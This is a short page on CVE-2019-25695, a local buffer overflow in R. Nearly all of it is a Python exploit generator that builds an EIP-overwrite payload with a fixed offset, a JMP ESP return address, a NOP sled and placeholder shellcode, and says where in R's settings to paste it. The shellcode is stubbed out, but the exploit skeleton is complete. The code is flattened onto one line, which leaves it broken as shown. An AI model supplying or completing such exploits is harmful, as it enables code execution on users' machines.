CVE-2019-25695 R语言本地缓冲区溢出漏洞

#!/usr/bin/env python3 # Proof of Concept Generator for CVE-2019-25695 # Offset to overwrite EIP based on vulnerability analysis offset = 292 # Return address (JMP ESP) - Address needs to be adjusted for the target OS version # Example: 0x77c35459 (common JMP ESP in msvcrt.dll on some systems) ret_addr = b"\x59\x54\xc3\x77" # NOP Sled nop_sled = b"\x90" * 32 # Shellcode (Example: executes calc.exe on Windows) # Note: Actual shellcode bytes are omitted for safety, replaced by placeholder shellcode = b"\xCC" * 50 # INT3 instruction placeholder def generate_payload(): # 1. Padding to reach EIP overwrite position payload = b"A" * offset # 2. Overwrite EIP with address pointing to JMP ESP payload += ret_addr # 3. NOP Sled to increase reliability of jump payload += nop_sled # 4. Actual Shellcode payload += shellcode return payload if __name__ == "__main__": buf = generate_payload() print(f"[*] Payload Length: {len(buf)}") print(f"[*] Payload (copy and paste into 'Language for menus and messages' field):") print(buf)